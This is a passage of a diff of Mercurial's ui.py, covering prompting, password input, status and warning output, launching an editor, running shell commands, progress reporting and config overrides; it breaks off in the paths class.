1147 from `sys.stdin'. If this function returns false, any attempt to read
1147 from `sys.stdin'. If this function returns false, any attempt to read
1148 from stdin should fail with an error, unless a sensible default has been
1148 from stdin should fail with an error, unless a sensible default has been
1149 specified.
1149 specified.
1150
1150
1151 Interactiveness is triggered by the value of the `ui.interactive'
1151 Interactiveness is triggered by the value of the `ui.interactive'
1152 configuration variable or - if it is unset - when `sys.stdin' points
1152 configuration variable or - if it is unset - when `sys.stdin' points
1153 to a terminal device.
1153 to a terminal device.
1154
1154
1155 This function refers to input only; for output, see `ui.formatted()'.
1155 This function refers to input only; for output, see `ui.formatted()'.
1156 '''
1156 '''
1157 i = self.configbool("ui", "interactive")
1157 i = self.configbool("ui", "interactive")
1158 if i is None:
1158 if i is None:
1159 # some environments replace stdin without implementing isatty
1159 # some environments replace stdin without implementing isatty
1160 # usually those are non-interactive
1160 # usually those are non-interactive
1161 return self._isatty(self.fin)
1161 return self._isatty(self.fin)
1162
1162
1163 return i
1163 return i
1164
1164
1165 def termwidth(self):
1165 def termwidth(self):
1166 '''how wide is the terminal in columns?
1166 '''how wide is the terminal in columns?
1167 '''
1167 '''
1168 if 'COLUMNS' in encoding.environ:
1168 if 'COLUMNS' in encoding.environ:
1169 try:
1169 try:
1170 return int(encoding.environ['COLUMNS'])
1170 return int(encoding.environ['COLUMNS'])
1171 except ValueError:
1171 except ValueError:
1172 pass
1172 pass
1173 return scmutil.termsize(self)[0]
1173 return scmutil.termsize(self)[0]
1174
1174
1175 def formatted(self):
1175 def formatted(self):
1176 '''should formatted output be used?
1176 '''should formatted output be used?
1177
1177
1178 It is often desirable to format the output to suite the output medium.
1178 It is often desirable to format the output to suite the output medium.
1179 Examples of this are truncating long lines or colorizing messages.
1179 Examples of this are truncating long lines or colorizing messages.
1180 However, this is not often not desirable when piping output into other
1180 However, this is not often not desirable when piping output into other
1181 utilities, e.g. `grep'.
1181 utilities, e.g. `grep'.
1182
1182
1183 Formatted output is triggered by the value of the `ui.formatted'
1183 Formatted output is triggered by the value of the `ui.formatted'
1184 configuration variable or - if it is unset - when `sys.stdout' points
1184 configuration variable or - if it is unset - when `sys.stdout' points
1185 to a terminal device. Please note that `ui.formatted' should be
1185 to a terminal device. Please note that `ui.formatted' should be
1186 considered an implementation detail; it is not intended for use outside
1186 considered an implementation detail; it is not intended for use outside
1187 Mercurial or its extensions.
1187 Mercurial or its extensions.
1188
1188
1189 This function refers to output only; for input, see `ui.interactive()'.
1189 This function refers to output only; for input, see `ui.interactive()'.
1190 This function always returns false when in plain mode, see `ui.plain()'.
1190 This function always returns false when in plain mode, see `ui.plain()'.
1191 '''
1191 '''
1192 if self.plain():
1192 if self.plain():
1193 return False
1193 return False
1194
1194
1195 i = self.configbool("ui", "formatted")
1195 i = self.configbool("ui", "formatted")
1196 if i is None:
1196 if i is None:
1197 # some environments replace stdout without implementing isatty
1197 # some environments replace stdout without implementing isatty
1198 # usually those are non-interactive
1198 # usually those are non-interactive
1199 return self._isatty(self.fout)
1199 return self._isatty(self.fout)
1200
1200
1201 return i
1201 return i
1202
1202
1203 def _readline(self, prompt=''):
1203 def _readline(self, prompt=''):
1204 if self._isatty(self.fin):
1204 if self._isatty(self.fin):
1205 try:
1205 try:
1206 # magically add command line editing support, where
1206 # magically add command line editing support, where
1207 # available
1207 # available
1208 import readline
1208 import readline
1209 # force demandimport to really load the module
1209 # force demandimport to really load the module
1210 readline.read_history_file
1210 readline.read_history_file
1211 # windows sometimes raises something other than ImportError
1211 # windows sometimes raises something other than ImportError
1212 except Exception:
1212 except Exception:
1213 pass
1213 pass
1214
1214
1215 # call write() so output goes through subclassed implementation
1215 # call write() so output goes through subclassed implementation
1216 # e.g. color extension on Windows
1216 # e.g. color extension on Windows
1217 self.write(prompt, prompt=True)
1217 self.write(prompt, prompt=True)
1218 self.flush()
1218 self.flush()
1219
1219
1220 # instead of trying to emulate raw_input, swap (self.fin,
1221 # self.fout) with (sys.stdin, sys.stdout)
1222 oldin = sys.stdin
1223 oldout = sys.stdout
1224 sys.stdin = self.fin
1225 sys.stdout = self.fout
1226 # prompt ' ' must exist; otherwise readline may delete entire line
1220 # prompt ' ' must exist; otherwise readline may delete entire line
1227 # - http://bugs.python.org/issue12833
1221 # - http://bugs.python.org/issue12833
1228 with self.timeblockedsection('stdio'):
1222 with self.timeblockedsection('stdio'):
1229 line = raw_input(' ')
1223 line = util.bytesinput(self.fin, self.fout, r' ')
1230 sys.stdin = oldin
1231 sys.stdout = oldout
1232
1224
1233 # When stdin is in binary mode on Windows, it can cause
1225 # When stdin is in binary mode on Windows, it can cause
1234 # raw_input() to emit an extra trailing carriage return
1226 # raw_input() to emit an extra trailing carriage return
1235 if pycompat.oslinesep == '\r\n' and line and line[-1] == '\r':
1227 if pycompat.oslinesep == '\r\n' and line and line[-1] == '\r':
1236 line = line[:-1]
1228 line = line[:-1]
1237 return line
1229 return line
1238
1230
1239 def prompt(self, msg, default="y"):
1231 def prompt(self, msg, default="y"):
1240 """Prompt user with msg, read response.
1232 """Prompt user with msg, read response.
1241 If ui is not interactive, the default is returned.
1233 If ui is not interactive, the default is returned.
1242 """
1234 """
1243 if not self.interactive():
1235 if not self.interactive():
1244 self.write(msg, ' ', default or '', "\n")
1236 self.write(msg, ' ', default or '', "\n")
1245 return default
1237 return default
1246 try:
1238 try:
1247 r = self._readline(self.label(msg, 'ui.prompt'))
1239 r = self._readline(self.label(msg, 'ui.prompt'))
1248 if not r:
1240 if not r:
1249 r = default
1241 r = default
1250 if self.configbool('ui', 'promptecho'):
1242 if self.configbool('ui', 'promptecho'):
1251 self.write(r, "\n")
1243 self.write(r, "\n")
1252 return r
1244 return r
1253 except EOFError:
1245 except EOFError:
1254 raise error.ResponseExpected()
1246 raise error.ResponseExpected()
1255
1247
1256 @staticmethod
1248 @staticmethod
1257 def extractchoices(prompt):
1249 def extractchoices(prompt):
1258 """Extract prompt message and list of choices from specified prompt.
1250 """Extract prompt message and list of choices from specified prompt.
1259
1251
1260 This returns tuple "(message, choices)", and "choices" is the
1252 This returns tuple "(message, choices)", and "choices" is the
1261 list of tuple "(response character, text without &)".
1253 list of tuple "(response character, text without &)".
1262
1254
1263 >>> ui.extractchoices("awake? $$ &Yes $$ &No")
1255 >>> ui.extractchoices("awake? $$ &Yes $$ &No")
1264 ('awake? ', [('y', 'Yes'), ('n', 'No')])
1256 ('awake? ', [('y', 'Yes'), ('n', 'No')])
1265 >>> ui.extractchoices("line\\nbreak? $$ &Yes $$ &No")
1257 >>> ui.extractchoices("line\\nbreak? $$ &Yes $$ &No")
1266 ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
1258 ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
1267 >>> ui.extractchoices("want lots of $$money$$?$$Ye&s$$N&o")
1259 >>> ui.extractchoices("want lots of $$money$$?$$Ye&s$$N&o")
1268 ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
1260 ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
1269 """
1261 """
1270
1262
1271 # Sadly, the prompt string may have been built with a filename
1263 # Sadly, the prompt string may have been built with a filename
1272 # containing "$$" so let's try to find the first valid-looking
1264 # containing "$$" so let's try to find the first valid-looking
1273 # prompt to start parsing. Sadly, we also can't rely on
1265 # prompt to start parsing. Sadly, we also can't rely on
1274 # choices containing spaces, ASCII, or basically anything
1266 # choices containing spaces, ASCII, or basically anything
1275 # except an ampersand followed by a character.
1267 # except an ampersand followed by a character.
1276 m = re.match(br'(?s)(.+?)\$\$([^\$]*&[^ \$].*)', prompt)
1268 m = re.match(br'(?s)(.+?)\$\$([^\$]*&[^ \$].*)', prompt)
1277 msg = m.group(1)
1269 msg = m.group(1)
1278 choices = [p.strip(' ') for p in m.group(2).split('$$')]
1270 choices = [p.strip(' ') for p in m.group(2).split('$$')]
1279 def choicetuple(s):
1271 def choicetuple(s):
1280 ampidx = s.index('&')
1272 ampidx = s.index('&')
1281 return s[ampidx + 1:ampidx + 2].lower(), s.replace('&', '', 1)
1273 return s[ampidx + 1:ampidx + 2].lower(), s.replace('&', '', 1)
1282 return (msg, [choicetuple(s) for s in choices])
1274 return (msg, [choicetuple(s) for s in choices])
1283
1275
1284 def promptchoice(self, prompt, default=0):
1276 def promptchoice(self, prompt, default=0):
1285 """Prompt user with a message, read response, and ensure it matches
1277 """Prompt user with a message, read response, and ensure it matches
1286 one of the provided choices. The prompt is formatted as follows:
1278 one of the provided choices. The prompt is formatted as follows:
1287
1279
1288 "would you like fries with that (Yn)? $$ &Yes $$ &No"
1280 "would you like fries with that (Yn)? $$ &Yes $$ &No"
1289
1281
1290 The index of the choice is returned. Responses are case
1282 The index of the choice is returned. Responses are case
1291 insensitive. If ui is not interactive, the default is
1283 insensitive. If ui is not interactive, the default is
1292 returned.
1284 returned.
1293 """
1285 """
1294
1286
1295 msg, choices = self.extractchoices(prompt)
1287 msg, choices = self.extractchoices(prompt)
1296 resps = [r for r, t in choices]
1288 resps = [r for r, t in choices]
1297 while True:
1289 while True:
1298 r = self.prompt(msg, resps[default])
1290 r = self.prompt(msg, resps[default])
1299 if r.lower() in resps:
1291 if r.lower() in resps:
1300 return resps.index(r.lower())
1292 return resps.index(r.lower())
1301 self.write(_("unrecognized response\n"))
1293 self.write(_("unrecognized response\n"))
1302
1294
1303 def getpass(self, prompt=None, default=None):
1295 def getpass(self, prompt=None, default=None):
1304 if not self.interactive():
1296 if not self.interactive():
1305 return default
1297 return default
1306 try:
1298 try:
1307 self.write_err(self.label(prompt or _('password: '), 'ui.prompt'))
1299 self.write_err(self.label(prompt or _('password: '), 'ui.prompt'))
1308 # disable getpass() only if explicitly specified. it's still valid
1300 # disable getpass() only if explicitly specified. it's still valid
1309 # to interact with tty even if fin is not a tty.
1301 # to interact with tty even if fin is not a tty.
1310 with self.timeblockedsection('stdio'):
1302 with self.timeblockedsection('stdio'):
1311 if self.configbool('ui', 'nontty'):
1303 if self.configbool('ui', 'nontty'):
1312 l = self.fin.readline()
1304 l = self.fin.readline()
1313 if not l:
1305 if not l:
1314 raise EOFError
1306 raise EOFError
1315 return l.rstrip('\n')
1307 return l.rstrip('\n')
1316 else:
1308 else:
1317 return getpass.getpass('')
1309 return getpass.getpass('')
1318 except EOFError:
1310 except EOFError:
1319 raise error.ResponseExpected()
1311 raise error.ResponseExpected()
1320 def status(self, *msg, **opts):
1312 def status(self, *msg, **opts):
1321 '''write status message to output (if ui.quiet is False)
1313 '''write status message to output (if ui.quiet is False)
1322
1314
1323 This adds an output label of "ui.status".
1315 This adds an output label of "ui.status".
1324 '''
1316 '''
1325 if not self.quiet:
1317 if not self.quiet:
1326 opts[r'label'] = opts.get(r'label', '') + ' ui.status'
1318 opts[r'label'] = opts.get(r'label', '') + ' ui.status'
1327 self.write(*msg, **opts)
1319 self.write(*msg, **opts)
1328 def warn(self, *msg, **opts):
1320 def warn(self, *msg, **opts):
1329 '''write warning message to output (stderr)
1321 '''write warning message to output (stderr)
1330
1322
1331 This adds an output label of "ui.warning".
1323 This adds an output label of "ui.warning".
1332 '''
1324 '''
1333 opts[r'label'] = opts.get(r'label', '') + ' ui.warning'
1325 opts[r'label'] = opts.get(r'label', '') + ' ui.warning'
1334 self.write_err(*msg, **opts)
1326 self.write_err(*msg, **opts)
1335 def note(self, *msg, **opts):
1327 def note(self, *msg, **opts):
1336 '''write note to output (if ui.verbose is True)
1328 '''write note to output (if ui.verbose is True)
1337
1329
1338 This adds an output label of "ui.note".
1330 This adds an output label of "ui.note".
1339 '''
1331 '''
1340 if self.verbose:
1332 if self.verbose:
1341 opts[r'label'] = opts.get(r'label', '') + ' ui.note'
1333 opts[r'label'] = opts.get(r'label', '') + ' ui.note'
1342 self.write(*msg, **opts)
1334 self.write(*msg, **opts)
1343 def debug(self, *msg, **opts):
1335 def debug(self, *msg, **opts):
1344 '''write debug message to output (if ui.debugflag is True)
1336 '''write debug message to output (if ui.debugflag is True)
1345
1337
1346 This adds an output label of "ui.debug".
1338 This adds an output label of "ui.debug".
1347 '''
1339 '''
1348 if self.debugflag:
1340 if self.debugflag:
1349 opts[r'label'] = opts.get(r'label', '') + ' ui.debug'
1341 opts[r'label'] = opts.get(r'label', '') + ' ui.debug'
1350 self.write(*msg, **opts)
1342 self.write(*msg, **opts)
1351
1343
1352 def edit(self, text, user, extra=None, editform=None, pending=None,
1344 def edit(self, text, user, extra=None, editform=None, pending=None,
1353 repopath=None):
1345 repopath=None):
1354 extra_defaults = {
1346 extra_defaults = {
1355 'prefix': 'editor',
1347 'prefix': 'editor',
1356 'suffix': '.txt',
1348 'suffix': '.txt',
1357 }
1349 }
1358 if extra is not None:
1350 if extra is not None:
1359 extra_defaults.update(extra)
1351 extra_defaults.update(extra)
1360 extra = extra_defaults
1352 extra = extra_defaults
1361
1353
1362 rdir = None
1354 rdir = None
1363 if self.configbool('experimental', 'editortmpinhg'):
1355 if self.configbool('experimental', 'editortmpinhg'):
1364 rdir = repopath
1356 rdir = repopath
1365 (fd, name) = tempfile.mkstemp(prefix='hg-' + extra['prefix'] + '-',
1357 (fd, name) = tempfile.mkstemp(prefix='hg-' + extra['prefix'] + '-',
1366 suffix=extra['suffix'],
1358 suffix=extra['suffix'],
1367 dir=rdir)
1359 dir=rdir)
1368 try:
1360 try:
1369 f = os.fdopen(fd, r'wb')
1361 f = os.fdopen(fd, r'wb')
1370 f.write(util.tonativeeol(text))
1362 f.write(util.tonativeeol(text))
1371 f.close()
1363 f.close()
1372
1364
1373 environ = {'HGUSER': user}
1365 environ = {'HGUSER': user}
1374 if 'transplant_source' in extra:
1366 if 'transplant_source' in extra:
1375 environ.update({'HGREVISION': hex(extra['transplant_source'])})
1367 environ.update({'HGREVISION': hex(extra['transplant_source'])})
1376 for label in ('intermediate-source', 'source', 'rebase_source'):
1368 for label in ('intermediate-source', 'source', 'rebase_source'):
1377 if label in extra:
1369 if label in extra:
1378 environ.update({'HGREVISION': extra[label]})
1370 environ.update({'HGREVISION': extra[label]})
1379 break
1371 break
1380 if editform:
1372 if editform:
1381 environ.update({'HGEDITFORM': editform})
1373 environ.update({'HGEDITFORM': editform})
1382 if pending:
1374 if pending:
1383 environ.update({'HG_PENDING': pending})
1375 environ.update({'HG_PENDING': pending})
1384
1376
1385 editor = self.geteditor()
1377 editor = self.geteditor()
1386
1378
1387 self.system("%s \"%s\"" % (editor, name),
1379 self.system("%s \"%s\"" % (editor, name),
1388 environ=environ,
1380 environ=environ,
1389 onerr=error.Abort, errprefix=_("edit failed"),
1381 onerr=error.Abort, errprefix=_("edit failed"),
1390 blockedtag='editor')
1382 blockedtag='editor')
1391
1383
1392 f = open(name, r'rb')
1384 f = open(name, r'rb')
1393 t = util.fromnativeeol(f.read())
1385 t = util.fromnativeeol(f.read())
1394 f.close()
1386 f.close()
1395 finally:
1387 finally:
1396 os.unlink(name)
1388 os.unlink(name)
1397
1389
1398 return t
1390 return t
1399
1391
1400 def system(self, cmd, environ=None, cwd=None, onerr=None, errprefix=None,
1392 def system(self, cmd, environ=None, cwd=None, onerr=None, errprefix=None,
1401 blockedtag=None):
1393 blockedtag=None):
1402 '''execute shell command with appropriate output stream. command
1394 '''execute shell command with appropriate output stream. command
1403 output will be redirected if fout is not stdout.
1395 output will be redirected if fout is not stdout.
1404
1396
1405 if command fails and onerr is None, return status, else raise onerr
1397 if command fails and onerr is None, return status, else raise onerr
1406 object as exception.
1398 object as exception.
1407 '''
1399 '''
1408 if blockedtag is None:
1400 if blockedtag is None:
1409 # Long cmds tend to be because of an absolute path on cmd. Keep
1401 # Long cmds tend to be because of an absolute path on cmd. Keep
1410 # the tail end instead
1402 # the tail end instead
1411 cmdsuffix = cmd.translate(None, _keepalnum)[-85:]
1403 cmdsuffix = cmd.translate(None, _keepalnum)[-85:]
1412 blockedtag = 'unknown_system_' + cmdsuffix
1404 blockedtag = 'unknown_system_' + cmdsuffix
1413 out = self.fout
1405 out = self.fout
1414 if any(s[1] for s in self._bufferstates):
1406 if any(s[1] for s in self._bufferstates):
1415 out = self
1407 out = self
1416 with self.timeblockedsection(blockedtag):
1408 with self.timeblockedsection(blockedtag):
1417 rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out)
1409 rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out)
1418 if rc and onerr:
1410 if rc and onerr:
1419 errmsg = '%s %s' % (os.path.basename(cmd.split(None, 1)[0]),
1411 errmsg = '%s %s' % (os.path.basename(cmd.split(None, 1)[0]),
1420 util.explainexit(rc)[0])
1412 util.explainexit(rc)[0])
1421 if errprefix:
1413 if errprefix:
1422 errmsg = '%s: %s' % (errprefix, errmsg)
1414 errmsg = '%s: %s' % (errprefix, errmsg)
1423 raise onerr(errmsg)
1415 raise onerr(errmsg)
1424 return rc
1416 return rc
1425
1417
1426 def _runsystem(self, cmd, environ, cwd, out):
1418 def _runsystem(self, cmd, environ, cwd, out):
1427 """actually execute the given shell command (can be overridden by
1419 """actually execute the given shell command (can be overridden by
1428 extensions like chg)"""
1420 extensions like chg)"""
1429 return util.system(cmd, environ=environ, cwd=cwd, out=out)
1421 return util.system(cmd, environ=environ, cwd=cwd, out=out)
1430
1422
1431 def traceback(self, exc=None, force=False):
1423 def traceback(self, exc=None, force=False):
1432 '''print exception traceback if traceback printing enabled or forced.
1424 '''print exception traceback if traceback printing enabled or forced.
1433 only to call in exception handler. returns true if traceback
1425 only to call in exception handler. returns true if traceback
1434 printed.'''
1426 printed.'''
1435 if self.tracebackflag or force:
1427 if self.tracebackflag or force:
1436 if exc is None:
1428 if exc is None:
1437 exc = sys.exc_info()
1429 exc = sys.exc_info()
1438 cause = getattr(exc[1], 'cause', None)
1430 cause = getattr(exc[1], 'cause', None)
1439
1431
1440 if cause is not None:
1432 if cause is not None:
1441 causetb = traceback.format_tb(cause[2])
1433 causetb = traceback.format_tb(cause[2])
1442 exctb = traceback.format_tb(exc[2])
1434 exctb = traceback.format_tb(exc[2])
1443 exconly = traceback.format_exception_only(cause[0], cause[1])
1435 exconly = traceback.format_exception_only(cause[0], cause[1])
1444
1436
1445 # exclude frame where 'exc' was chained and rethrown from exctb
1437 # exclude frame where 'exc' was chained and rethrown from exctb
1446 self.write_err('Traceback (most recent call last):\n',
1438 self.write_err('Traceback (most recent call last):\n',
1447 ''.join(exctb[:-1]),
1439 ''.join(exctb[:-1]),
1448 ''.join(causetb),
1440 ''.join(causetb),
1449 ''.join(exconly))
1441 ''.join(exconly))
1450 else:
1442 else:
1451 output = traceback.format_exception(exc[0], exc[1], exc[2])
1443 output = traceback.format_exception(exc[0], exc[1], exc[2])
1452 data = r''.join(output)
1444 data = r''.join(output)
1453 if pycompat.ispy3:
1445 if pycompat.ispy3:
1454 enc = pycompat.sysstr(encoding.encoding)
1446 enc = pycompat.sysstr(encoding.encoding)
1455 data = data.encode(enc, errors=r'replace')
1447 data = data.encode(enc, errors=r'replace')
1456 self.write_err(data)
1448 self.write_err(data)
1457 return self.tracebackflag or force
1449 return self.tracebackflag or force
1458
1450
1459 def geteditor(self):
1451 def geteditor(self):
1460 '''return editor to use'''
1452 '''return editor to use'''
1461 if pycompat.sysplatform == 'plan9':
1453 if pycompat.sysplatform == 'plan9':
1462 # vi is the MIPS instruction simulator on Plan 9. We
1454 # vi is the MIPS instruction simulator on Plan 9. We
1463 # instead default to E to plumb commit messages to
1455 # instead default to E to plumb commit messages to
1464 # avoid confusion.
1456 # avoid confusion.
1465 editor = 'E'
1457 editor = 'E'
1466 else:
1458 else:
1467 editor = 'vi'
1459 editor = 'vi'
1468 return (encoding.environ.get("HGEDITOR") or
1460 return (encoding.environ.get("HGEDITOR") or
1469 self.config("ui", "editor", editor))
1461 self.config("ui", "editor", editor))
1470
1462
1471 @util.propertycache
1463 @util.propertycache
1472 def _progbar(self):
1464 def _progbar(self):
1473 """setup the progbar singleton to the ui object"""
1465 """setup the progbar singleton to the ui object"""
1474 if (self.quiet or self.debugflag
1466 if (self.quiet or self.debugflag
1475 or self.configbool('progress', 'disable')
1467 or self.configbool('progress', 'disable')
1476 or not progress.shouldprint(self)):
1468 or not progress.shouldprint(self)):
1477 return None
1469 return None
1478 return getprogbar(self)
1470 return getprogbar(self)
1479
1471
1480 def _progclear(self):
1472 def _progclear(self):
1481 """clear progress bar output if any. use it before any output"""
1473 """clear progress bar output if any. use it before any output"""
1482 if '_progbar' not in vars(self): # nothing loaded yet
1474 if '_progbar' not in vars(self): # nothing loaded yet
1483 return
1475 return
1484 if self._progbar is not None and self._progbar.printed:
1476 if self._progbar is not None and self._progbar.printed:
1485 self._progbar.clear()
1477 self._progbar.clear()
1486
1478
1487 def progress(self, topic, pos, item="", unit="", total=None):
1479 def progress(self, topic, pos, item="", unit="", total=None):
1488 '''show a progress message
1480 '''show a progress message
1489
1481
1490 By default a textual progress bar will be displayed if an operation
1482 By default a textual progress bar will be displayed if an operation
1491 takes too long. 'topic' is the current operation, 'item' is a
1483 takes too long. 'topic' is the current operation, 'item' is a
1492 non-numeric marker of the current position (i.e. the currently
1484 non-numeric marker of the current position (i.e. the currently
1493 in-process file), 'pos' is the current numeric position (i.e.
1485 in-process file), 'pos' is the current numeric position (i.e.
1494 revision, bytes, etc.), unit is a corresponding unit label,
1486 revision, bytes, etc.), unit is a corresponding unit label,
1495 and total is the highest expected pos.
1487 and total is the highest expected pos.
1496
1488
1497 Multiple nested topics may be active at a time.
1489 Multiple nested topics may be active at a time.
1498
1490
1499 All topics should be marked closed by setting pos to None at
1491 All topics should be marked closed by setting pos to None at
1500 termination.
1492 termination.
1501 '''
1493 '''
1502 if self._progbar is not None:
1494 if self._progbar is not None:
1503 self._progbar.progress(topic, pos, item=item, unit=unit,
1495 self._progbar.progress(topic, pos, item=item, unit=unit,
1504 total=total)
1496 total=total)
1505 if pos is None or not self.configbool('progress', 'debug'):
1497 if pos is None or not self.configbool('progress', 'debug'):
1506 return
1498 return
1507
1499
1508 if unit:
1500 if unit:
1509 unit = ' ' + unit
1501 unit = ' ' + unit
1510 if item:
1502 if item:
1511 item = ' ' + item
1503 item = ' ' + item
1512
1504
1513 if total:
1505 if total:
1514 pct = 100.0 * pos / total
1506 pct = 100.0 * pos / total
1515 self.debug('%s:%s %s/%s%s (%4.2f%%)\n'
1507 self.debug('%s:%s %s/%s%s (%4.2f%%)\n'
1516 % (topic, item, pos, total, unit, pct))
1508 % (topic, item, pos, total, unit, pct))
1517 else:
1509 else:
1518 self.debug('%s:%s %s%s\n' % (topic, item, pos, unit))
1510 self.debug('%s:%s %s%s\n' % (topic, item, pos, unit))
1519
1511
1520 def log(self, service, *msg, **opts):
1512 def log(self, service, *msg, **opts):
1521 '''hook for logging facility extensions
1513 '''hook for logging facility extensions
1522
1514
1523 service should be a readily-identifiable subsystem, which will
1515 service should be a readily-identifiable subsystem, which will
1524 allow filtering.
1516 allow filtering.
1525
1517
1526 *msg should be a newline-terminated format string to log, and
1518 *msg should be a newline-terminated format string to log, and
1527 then any values to %-format into that format string.
1519 then any values to %-format into that format string.
1528
1520
1529 **opts currently has no defined meanings.
1521 **opts currently has no defined meanings.
1530 '''
1522 '''
1531
1523
1532 def label(self, msg, label):
1524 def label(self, msg, label):
1533 '''style msg based on supplied label
1525 '''style msg based on supplied label
1534
1526
1535 If some color mode is enabled, this will add the necessary control
1527 If some color mode is enabled, this will add the necessary control
1536 characters to apply such color. In addition, 'debug' color mode adds
1528 characters to apply such color. In addition, 'debug' color mode adds
1537 markup showing which label affects a piece of text.
1529 markup showing which label affects a piece of text.
1538
1530
1539 ui.write(s, 'label') is equivalent to
1531 ui.write(s, 'label') is equivalent to
1540 ui.write(ui.label(s, 'label')).
1532 ui.write(ui.label(s, 'label')).
1541 '''
1533 '''
1542 if self._colormode is not None:
1534 if self._colormode is not None:
1543 return color.colorlabel(self, msg, label)
1535 return color.colorlabel(self, msg, label)
1544 return msg
1536 return msg
1545
1537
1546 def develwarn(self, msg, stacklevel=1, config=None):
1538 def develwarn(self, msg, stacklevel=1, config=None):
1547 """issue a developer warning message
1539 """issue a developer warning message
1548
1540
1549 Use 'stacklevel' to report the offender some layers further up in the
1541 Use 'stacklevel' to report the offender some layers further up in the
1550 stack.
1542 stack.
1551 """
1543 """
1552 if not self.configbool('devel', 'all-warnings'):
1544 if not self.configbool('devel', 'all-warnings'):
1553 if config is not None and not self.configbool('devel', config):
1545 if config is not None and not self.configbool('devel', config):
1554 return
1546 return
1555 msg = 'devel-warn: ' + msg
1547 msg = 'devel-warn: ' + msg
1556 stacklevel += 1 # get in develwarn
1548 stacklevel += 1 # get in develwarn
1557 if self.tracebackflag:
1549 if self.tracebackflag:
1558 util.debugstacktrace(msg, stacklevel, self.ferr, self.fout)
1550 util.debugstacktrace(msg, stacklevel, self.ferr, self.fout)
1559 self.log('develwarn', '%s at:\n%s' %
1551 self.log('develwarn', '%s at:\n%s' %
1560 (msg, ''.join(util.getstackframes(stacklevel))))
1552 (msg, ''.join(util.getstackframes(stacklevel))))
1561 else:
1553 else:
1562 curframe = inspect.currentframe()
1554 curframe = inspect.currentframe()
1563 calframe = inspect.getouterframes(curframe, 2)
1555 calframe = inspect.getouterframes(curframe, 2)
1564 self.write_err('%s at: %s:%s (%s)\n'
1556 self.write_err('%s at: %s:%s (%s)\n'
1565 % ((msg,) + calframe[stacklevel][1:4]))
1557 % ((msg,) + calframe[stacklevel][1:4]))
1566 self.log('develwarn', '%s at: %s:%s (%s)\n',
1558 self.log('develwarn', '%s at: %s:%s (%s)\n',
1567 msg, *calframe[stacklevel][1:4])
1559 msg, *calframe[stacklevel][1:4])
1568 curframe = calframe = None # avoid cycles
1560 curframe = calframe = None # avoid cycles
1569
1561
1570 def deprecwarn(self, msg, version):
1562 def deprecwarn(self, msg, version):
1571 """issue a deprecation warning
1563 """issue a deprecation warning
1572
1564
1573 - msg: message explaining what is deprecated and how to upgrade,
1565 - msg: message explaining what is deprecated and how to upgrade,
1574 - version: last version where the API will be supported,
1566 - version: last version where the API will be supported,
1575 """
1567 """
1576 if not (self.configbool('devel', 'all-warnings')
1568 if not (self.configbool('devel', 'all-warnings')
1577 or self.configbool('devel', 'deprec-warn')):
1569 or self.configbool('devel', 'deprec-warn')):
1578 return
1570 return
1579 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
1571 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
1580 " update your code.)") % version
1572 " update your code.)") % version
1581 self.develwarn(msg, stacklevel=2, config='deprec-warn')
1573 self.develwarn(msg, stacklevel=2, config='deprec-warn')
1582
1574
1583 def exportableenviron(self):
1575 def exportableenviron(self):
1584 """The environment variables that are safe to export, e.g. through
1576 """The environment variables that are safe to export, e.g. through
1585 hgweb.
1577 hgweb.
1586 """
1578 """
1587 return self._exportableenviron
1579 return self._exportableenviron
1588
1580
1589 @contextlib.contextmanager
1581 @contextlib.contextmanager
1590 def configoverride(self, overrides, source=""):
1582 def configoverride(self, overrides, source=""):
1591 """Context manager for temporary config overrides
1583 """Context manager for temporary config overrides
1592 `overrides` must be a dict of the following structure:
1584 `overrides` must be a dict of the following structure:
1593 {(section, name) : value}"""
1585 {(section, name) : value}"""
1594 backups = {}
1586 backups = {}
1595 try:
1587 try:
1596 for (section, name), value in overrides.items():
1588 for (section, name), value in overrides.items():
1597 backups[(section, name)] = self.backupconfig(section, name)
1589 backups[(section, name)] = self.backupconfig(section, name)
1598 self.setconfig(section, name, value, source)
1590 self.setconfig(section, name, value, source)
1599 yield
1591 yield
1600 finally:
1592 finally:
1601 for __, backup in backups.items():
1593 for __, backup in backups.items():
1602 self.restoreconfig(backup)
1594 self.restoreconfig(backup)
1603 # just restoring ui.quiet config to the previous value is not enough
1595 # just restoring ui.quiet config to the previous value is not enough
1604 # as it does not update ui.quiet class member
1596 # as it does not update ui.quiet class member
1605 if ('ui', 'quiet') in overrides:
1597 if ('ui', 'quiet') in overrides:
1606 self.fixconfig(section='ui')
1598 self.fixconfig(section='ui')
1607
1599
1608 class paths(dict):
1600 class paths(dict):
1609 """Represents a collection of paths and their configs.
1601 """Represents a collection of paths and their configs.
1610
1602
1611 Data is initially derived from ui instances and the config files they have
1603 Data is initially derived from ui instances and the config files they have
1612 loaded.
1604 loaded.
1613 """
1605 """
1614 def __init__(self, ui):
1606 def __init__(self, ui):
1615 dict.__init__(self)
1607 dict.__init__(self)
1616
1608
1617 for name, loc in ui.configitems('paths', ignoresub=True):
1609 for name, loc in ui.configitems('paths', ignoresub=True):
1618 # No location is the same as not existing.
1610 # No location is the same as not existing.
1619 if not loc:
1611 if not loc:
1620 continue
1612 continue
1621 loc, sub = ui.configsuboptions('paths', name)
1613 loc, sub = ui.configsuboptions('paths', name)
1622 self[name] = path(ui, name, rawloc=loc, suboptions=sub)
1614 self[name] = path(ui, name, rawloc=loc, suboptions=sub)
1623
1615
1624 def getpath(self, name, default=None):
1616 def getpath(self, name, default=None):
1625 """Return a ``path`` from a string, falling back to default.
1617 """Return a ``path`` from a string, falling back to default.
1626
1618
1627 ``name`` can be a named path or locations. Locations are filesystem
1619 ``name`` can be a named path or locations. Locations are filesystem
1628 paths or URIs.
1620 paths or URIs.
1629
1621
1630 Returns None if ``name`` is not a registered path, a URI, or a local
1622 Returns None if ``name`` is not a registered path, a URI, or a local
1631 path to a repo.
1623 path to a repo.
1632 """
1624 """
1633 # Only fall back to default if no path was requested.
1625 # Only fall back to default if no path was requested.
1634 if name is None:
1626 if name is None:
1635 if not default:
1627 if not default:
1636 default = ()
1628 default = ()
1637 elif not isinstance(default, (tuple, list)):
1629 elif not isinstance(default, (tuple, list)):
1638 default = (default,)
1630 default = (default,)
1639 for k in default:
1631 for k in default:
1640 try:
1632 try:
1641 return self[k]
1633 return self[k]
1642 except KeyError:
